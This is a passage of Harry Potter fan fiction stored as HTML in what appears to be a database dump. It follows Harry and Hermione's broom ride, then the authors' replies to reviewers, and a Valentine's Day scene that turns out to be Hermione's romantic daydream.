do.&#8221; Harry said. &#8220;I take my Firebolt out\nwhenever I get a chance to.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I suppose being\non the Quidditch team helps as well.&#8221; Hermione smiled. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I love Quidditch.&#8221;\nHarry smiled. &#8220;Have you ever played?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s eyes\nwidened. &#8220;I hope you&#8217;re kidding.&#8221; She said. &#8220;Me, on a broomstick?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s wrong\nwith that?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s obvious\nyou&#8217;ve never seen me fly before.&#8221; She said, laughing a little. &#8220;For one thing,\nI&#8217;m terrified of heights, and for another&#8230;my coordination when my feet aren&#8217;t\ntouching the ground is a little&#8230;off.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on.&#8221; Harry\nsaid, standing up and holding his hand out to her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I beg your\npardon?&#8221; Hermione asked, looking up at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on. I&#8217;ll\ntake you for a ride.&#8221; He grinned, not noticing the context of his words.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;<i>He wants to\ntake me on a ride, Merlin&#8217;s Beard does he know what he&#8217;s implying?</i>&#8217;\nHermione thought, desperately trying to decide whether or not sitting on\nHarry&#8217;s broomstick <i>WITH</i> Harry was something she could handle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;ll be fun,\nand I won&#8217;t even take you that high.&#8221; Harry was saying.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ve already\ntaken me high.&#8221; Hermione muttered. Harry&#8217;s eyes widened and Hermione&#8217;s face\nflushed so red she figured steam was coming out of her ears.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What did you\nsay?&#8221; he asked curiously, a slight shade of pink staining his cheeks as well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I said&#8230;uh&#8230;I\ndon&#8217;t mind if you take me high.&#8221; Hermione covered up. Harry grinned even wider\nand she felt dizzy again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right!&#8221; he\nreached down and grabbed her hand. &#8220;This will be fun. I&#8217;m excited, I never got\nto take a girl flying before!&#8221; this time it was his turn to flush a deep red.\nHe held on to her hand but neither one spoke until they were near the locker\nrooms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ve just got to\nget my broom.&#8221; Harry said, pushing the door open to the boys&#8217; locker room. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; Hermione\nhugged her arms around herself and wished she&#8217;d brought her cloak outside with\nher, it was extremely cold. Silently willing herself not to be nervous, she\njumped when Harry touched her arm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I brought this\nfor you.&#8221; He held out his extra Quidditch robe. &#8220;Might be a bit large on you,\nbut it&#8217;ll keep you warm.&#8221; Hermione suddenly felt glowing warm as he helped slip\nit on.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you.&#8221; She\nsmiled up at him. &#8220;But won&#8217;t you be cold?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nah, I&#8217;ll be all\nright.&#8221; Harry said. &#8220;I want to show you this first, before we fly.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Hermione\nasked, as he took her by the hand again and pushed the doors open.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The Quidditch\nfield.&#8221; Harry answered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ve seen the\nQuidditch field before.&#8221; She replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not from down\nhere you haven&#8217;t.&#8221; he answered, pulling her along so that they were once again\noutside. &#8220;Look up.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione gasped\nas she raised her eyes to the sky. The stands were high above them, and the sky\noverhead was scattered with millions of stars. Hogwarts was so far into the\ncountry that every cluster and constellation was visible.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;<i>How romantic</i>&#8230;&#8217;\nHermione thought to herself. She could only imagine what he must be like on a\nreal date, if he felt romantically about a girl, what he would do for her then.\n&#8216;<i>I only wish it were me&#8230;</i>&#8217; she thought wistfully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Isn&#8217;t it a great\nview? It always gives me such a rush right before the game.&#8221; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s\nincredible.&#8221; Hermione breathed, turning around in a circle to see everything. He\nwatched her spin around a few times, admiring the way the moonlight played off\nher features,</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;<i>She looks so\npretty, I wonder why anyone hasn&#8217;t snatched her up yet? Besides that loser,\nJustin that is&#8230;</i>&#8217; Harry thought. &#8216;<i>I wonder why she&#8217;s in Slytherin, she seems\ntoo nice for that.</i>&#8217; He shook his head, as if to wake himself up. &#8220;Come on,\nlet&#8217;s get in the air!&#8221; he exclaimed. &#8220;I saw you looking at those stars.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\napproached the broom with an apprehensive look on her face. &#8220;Are you sure I&#8217;ll\nbe safe on that?&#8221; she asked timidly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course.&#8221;\nHarry scoffed, jumping onto it. &#8220;And I&#8217;m an expert flier.&#8221; Hermione just looked\nat him. &#8220;Come on, I know we haven&#8217;t been friends that long, but you can trust\nme.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She nearly melted\nwhen he said that, and when he looked at her with those large, brilliant green\neyes of his, there was no way she could have refused.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221; She\nsaid nervously, climbing onto the broom in front of Harry. He quickly slid one\nof his arms around her waist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay, just lean\nagainst me.&#8221; He said, and after taking a deep breath, Hermione did just that.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;<i>Oh Merlin&#8217;s\nBeard, I&#8217;m sitting in his lap!!</i>&#8217; her mind screamed with joy. Harry pushed\noff the ground with his feet gently, so that they only rose about ten feet in\nthe air.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221; Harry\nlaughed when he looked around at her. She had her eyes screwed tightly shut,\nand she was white knuckling the handle. &#8220;You can&#8217;t enjoy this if you don&#8217;t\nrelax.&#8221; He scooted a little closer so he could hold her tighter around the\nwaist. &#8220;I promised nothing bad would happen to you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know&#8230;but I&#8217;m\njust really afraid of heights.&#8221; Hermione said, opening her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This isn&#8217;t\nhigh.&#8221; Harry grinned mischievously. &#8220;This is!&#8221; he pulled up on the broom and\nHermione screamed as they went up twenty feet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221; she\nturned to shout at him, but one look at the impish smile on his face made her\nforget about being angry. &#8220;Don&#8217;t go any higher!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; he\nyelled, even though he could hear her perfectly. &#8220;Go higher?&#8221; he pulled the\nbroom almost straight up and her body fell completely back against his. Harry\nwould be lying to say he wasn&#8217;t enjoying that.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!!&#8221;\nHermione screamed. He levelled off the broom; they were now soaring high above\nthe Quidditch stands. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, open\nyour eyes and look.&#8221; He spoke softly in her ear. &#8220;The view is amazing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She took a few\ndeep breaths, she supposed Harry was right, and she did trust him. Slowly\nopening one eye and then the other, she gave a sharp gasp.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What did I tell\nyou?&#8221; Harry asked, satisfied with her reaction.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This&#8230;. wow&#8230;.\nthis is amazing!&#8221; Hermione could see everything from up here! Hogwarts, beyond\nit, the lake, and in the other direction, she could see the mountains, and in\nthe little valley she could see the twinkling lights of Hogsmeade.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Told you so.&#8221;\nHarry said smugly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right, right.&#8221;\nHermione said, boldly leaning her head back against his shoulder. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Would you like\nto steer?&#8221; Harry asked a little while later.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me?&#8221; Hermione\nwas surprised. &#8220;You want me to steer?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure. It&#8217;s quite\neasy.&#8221; Harry took the broom down to a lower level. &#8220;I&#8217;ll guide you first, then\nlet you take over.&#8221; He placed his hands over hers. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione felt the\nnow familiar dizzy sensation of having Harry touch her. &#8220;O&#8212;okay.&#8221; She\nstammered. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now push\nforward, like this.&#8221; He demonstrated for a few minutes, and then wrapped his\narms back around her waist. &#8220;Easy!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This is fun!&#8221;\nshe exclaimed, veering the broom left, then right. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Want to take it\nup?&#8221; Harry asked, and Hermione nodded. &#8220;Pull up, then, like I did earlier.&#8221; She\nlet out a squeal of pleasure as the broom smoothly went up about fifteen feet.\nHarry chuckled at her obvious delight.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After about a\nhalf hour, Hermione decided she&#8217;d had enough of flying for the night, and she\nwas proud that she got them back to the ground without a single bump.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;See, you did\ngreat out there!&#8221; Harry was happy that he&#8217;d gotten her to fly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione was\nstill flushed with excitement and the feeling that came with being next to the\nboy she loved. &#8220;That was really fun.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re a\nnatural.&#8221; Harry grinned, opening the castle door for her. &#8220;We should do it\nagain sometime.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221;\nHermione asked, butterflies fluttering madly in her stomach.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, sure!&#8221; he\nsaid. &#8220;You should consider yourself lucky, I don&#8217;t let just anyone ride on my\nFirebolt.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, okay\nthen.&#8221; She said shyly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry found\nhimself staring at her again, at the way she twisted her hair around her index\nfinger, her large brown eyes, how her clothes hung just right on her, not tight\nlike most of the girls there wore them. He found himself inexplicably drawn to\nher at that moment for some reason, perhaps because he saw that she trusted him\ncompletely, perhaps it was because he felt like he could be himself around her\nas well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry wanted to\nkiss her, more than he&#8217;d ever wanted to kiss anyone in his life. Just as he was\nabout to step over to her, she spoke up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think I should\nbe going to bed now.&#8221; Hermione said softly. &#8220;Thanks again, Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh&#8230;sure.&#8221; Harry\nsnapped out of his reverie. &#8220;I had fun too.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;See you tomorrow\nin class.&#8221; She waved, then turned and went down the corridor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry slumped\nagainst the wall, watching her go. He had to admit it now. He was falling for\nher.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Woo Harry&#8217;s\nfinally getting a clue!!! Hopefully you enjoyed that, and R/R!!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(78, 4, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 4</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Wow, thanks\nagain for another overwhelming response on the last chapter! More romance in\nthis one, although you guys might want to kick us at the end of this one :D</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>Review\nResponses:</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">John (jwbartle):\nDraco is in Ravenclaw</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blue Eyes: If we\ngot them together, then the story would be over ;) You don&#8217;t&#8217; want that yet do\nyou?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">VipyGirl831:\nThanks! We both enjoy working together!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Crimson Lioness:\nWe all want Harry, don&#8217;t we? LOL</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Bookworm\nSweetheart: We still owe you one for the story idea!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Coolone007: just\nwait and see how everything comes about, the story isn&#8217;t that long you won&#8217;t\nhave that much of a wait</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Zee: Harry&#8217;s not\ndumb, but he&#8217;s cautious, he wants to make sure girls like him for him and not\nhis fame</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dan: If you like the\ndreams, keep reading ;)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Paladin\nSteelbreaker: Maybe you are psychic ;) Anyways, glad you&#8217;re enjoying, and\nthanks for the compliments!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">LeBoshi: You want\nto sketch Hermione for us? Tha&#8217;d be cool! :D</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">HarryNZ: satin\nsheets huh. How about a light beer?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione Potter:\nBlaise and Hermione are both in Slytherin. Blaise is the Head Girl so she gets\nher own room and Common Room. Justin is in Hufflepuff, even though he&#8217;s a big\njerk&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Mistocean: Glad we\nwere able to help you love H/Hr! It&#8217;s the best ship out there!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">MythX: Better\nlate than never, for a review ;) Glad you like it</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Paws: Here&#8217;s your\nnext chapter! Enjoy!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>For those of\nyou who want email updates:</b>\nif you&#8217;d like to be notified when Ryoko, Heaven or both update fics, please\nsend an email to:</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">ryokoblueandheaven\nat hotmail.com&nbsp; (please substitute the\nat for @)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Make sure you put\nin the subject line who you would like to be notified for, like if you wanted\nto be told when Ryoko updates but not Heaven, then put Ryoko Blue in the\nsubject line. We will be setting up separate address lists for Ryoko, Heaven\nand then both&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>And now, on\nwith the chapter!!!</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He took you\nFLYING?&#8221; Blaise asked excitedly, her eyes wide. &#8220;Excellent!&#8221; She grabbed\nHermione and hugged her tightly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It was just\nflying.&#8221; Hermione protested, pulling away from her best friend. &#8220;Nothing\nhappened, not like you&#8217;re thinking.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not because you\ndidn&#8217;t want it to.&#8221; Blaise grinned wickedly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione crossed\nher arms. &#8220;You know me too well.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I may suck at\nMuggle Studies but I&#8217;m damn good at you Hermione.&#8221; Blaise said, sitting down\nnext to her. &#8220;I want details, and lots of them!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">For the next half\nhour, Hermione sat and recanted each detail, how it felt to sit on his broom,\nwith his arms wrapped around her waist, how Harry&#8217;s robe had been so warm on\nher, how they&#8217;d gone high above Hogwarts and she hadn&#8217;t been scared&#8230;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You have stars\nin your eyes!&#8221; Blaise exclaimed, jumping up from the sofa. &#8220;You kissed him!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I did not!&#8221;\nHermione said. &#8220;I already told you nothing happened!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why are you\nblushing so bad then?&#8221; Blaise asked, dancing around the room. &#8220;Hermione and\nHarry were SNOGGING! Hermione and Harry were SNOGGING!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Will you shut up\nplease?&#8221; Hermione hissed, rising up from the sofa menacingly. &#8220;Justin&#8217;s in the\nnext room and I really don&#8217;t want to deal with him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right.&#8221; Blaise\nlowered her voice. &#8220;Hermione and Harry were snogging!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione rolled\nher eyes. &#8220;With friends like you, who needs enemies?&#8221; she pouted, sitting back\ndown again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He loved the\nmakeup, that&#8217;s why he took you flying!&#8221; Blaise said, hugging herself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks Blaise.\nSo you&#8217;re saying that he only likes me when I&#8217;m made up, that&#8217;s a real\nconfidence booster.&#8221; Hermione snapped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, Hermione, I\ndidn&#8217;t mean it like that.&#8221; Blaise dropped down beside her. &#8220;It&#8217;s just that when\nyou present yourself nicely, guys begin to take notice. Tomorrow we&#8217;ll&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, tomorrow I&#8217;m\nnot going to make myself up.&#8221; Hermione said firmly. &#8220;I like the way I am,\nnaturally.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just a little\nlike today.&#8221; Blaise wheedled. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;ll see.&#8221;\nHermione was indefinite. &#8220;I&#8217;m going to bed.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, all\nright.&#8221; Blaise knew when to back off. &#8220;See you tomorrow.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione said\ngood night and left Blaise&#8217;s common room. A large smile stretched across her\nface as she slipped into her nightgown. She hoped she&#8217;d be dreaming about more\nthan just Harry&#8217;s broomstick that night.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">**** One Month\nLater, Valentine&#8217;s Day ****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I truly detest\nand despise this holiday.&#8221; Hermione said flatly. She looked on with a hint of\njealousy as three guys came up to her and Blaise, handing her best friend boxes\nof chocolates and red roses.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh Hermione,\nit&#8217;s really not that bad.&#8221; Blaise spoke from behind a mountain of flowers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Easy for you to\nsay.&#8221; Hermione muttered, shifting her bag and Blaise&#8217;s more comfortably on her\nshoulder. She&#8217;d hated Valentine&#8217;s Day for as long as she could remember, and\nshe&#8217;d never once gotten a single flower, chocolate or card. Instead, she&#8217;d sat\nback and watched all the other girls at Hogwarts squeal over sappy cards and\npink hearts.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Blaise!&#8221; a\nstammering Seamus Finnigan was now approaching the two girls. &#8220;I got these for\nyou!&#8221; he held out two dozen red roses.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you\nSeamus.&#8221; Blaise flashed an artificial smile at him, she&#8217;d been nicer to he and\nDean ever since they publicly apologised to Hermione about the things they&#8217;d\nsaid, but she had no real interest in him. She gathered the flowers into the\ncumbersome bundle she already had in her arms. &#8220;How sweet of you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Seamus grinned\nand mumbled something incoherent. &#8220;Oh uh&#8230;Happy Valentine&#8217;s Day Hermione.&#8221; He\nsaid and stumbled off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione rolled\nher eyes. &#8220;I think I&#8217;m going to skip breakfast and go right to class.&#8221; She\nmoaned. The last thing she wanted to do was walk into the Great Hall and see\ngirls mooning all over Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You will do no\nsuch thing.&#8221; Blaise said firmly, shifting the flowers so she could look at her\nbest friend. &#8220;Besides, weren&#8217;t you going to give Harry your gift?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not in front of\nthe whole bloody Great Hall!&#8221; Hermione replied. &#8220;And if you&#8217;ve already gotten\nthis many flowers and chocolates, I don&#8217;t want to see how many he has.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t be\njealous.&#8221; Blaise said, precariously trying to hold her roses without pricking\nherself on the thorns. &#8220;How about I give you these to hold, it&#8217;ll look like you\nhave so many admirers then.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right, like\npeople will really believe that.&#8221; Hermione rolled her eyes again. &#8220;Never mind, I\njust won&#8217;t look at him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll believe\nthat when I see it.&#8221; Blaise grinned. &#8220;Open the door for me, will you?&#8221; The\ngirls had reached the Great Hall. Hermione used her shoulder to push the door\nopen, and Blaise broke into a run to drop her flowers by her seat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ow!&#8221; she cried\nas a thorn scraped the side of her hand. Hermione kept her head down, trying\nnot to look in the direction of the Gryffindor table. Around her she could hear\nthe screams and squeals of her classmates exchanging dumb cards and cheap chocolates,\nand she tried to contain her jealousy at not being included.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She sat down next\nto Blaise, thankful that the chocolates and roses were now on the floor out of\nsight. Hermione reached for a slice of toast and nibbled on it, not caring if\nit was dry, she just wanted something to do with her hands.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Hermione!&#8221;\nHarry&#8217;s voice made her look up. He was working his way past the Hufflepuff\ntable, with a large grin on his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hello Harry.&#8221;\nShe smiled back, nervously. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I just wanted to\ncome over and wish you a Happy Valentine&#8217;s Day.&#8221; Harry said, his hypnotizing\nemerald eyes glowing brightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221;\nHermione asked, rising from her seat. Her heartbeat quickened under his gaze.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;For you.&#8221; Harry\nwhipped a large box from behind his back. It seemed the whole Great Hall\nquieted down and turned to look at the two of them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione couldn&#8217;t\nstop the large smile that crossed her face as she untied the ribbon and\ncarefully tore the paper off. &#8220;Oh!&#8221; she gasped as she drew a long, ivory\nnightgown from the box.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s for later.&#8221;\nHarry said in a low voice, sweeping the box aside and drawing her to him. &#8220;I\nsaw it and I knew it was for you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know\nwhat to say&#8230;&#8221; Hermione stammered, a faint blush appearing across her cheeks as\nshe stared at the lovely negligee.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t say\nanything.&#8221; Harry put his finger to her lips. &#8220;Not a word&#8230;&#8221; his breath was hot\non her face as his mouth neared hers. Hermione could barely swallow; his\nluminous eyes were bearing into hers. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Before she could\ndo anything else, his lips had crashed down upon hers, his hands winding around\nher waist, pulling her body tightly against his. She cupped his cheek, tracing\nthe lines of his face with her fingernail as she opened her mouth to him, their\ntongues caressing and exploring.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry took his\nhands from her waist and with one swoop, cleared the Slytherin table. He\nscooped her up and laid her down on the top, pressing his mouth back to hers\nhungrily. He ran his hands down her body, gently caressing the side of her\nbreast. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ohhh!&#8221; Hermione\nmoaned as he attacked her neck with his lips; she arched her back as his kisses\ngrew hotter and more demanding.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Boy, let me have\nthat toast if it&#8217;s that fascinating.&#8221; Blaise&#8217;s voice interrupted Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Hermione\nsnapped out of her daydream and looked at her best friend.</p>\n\n<p 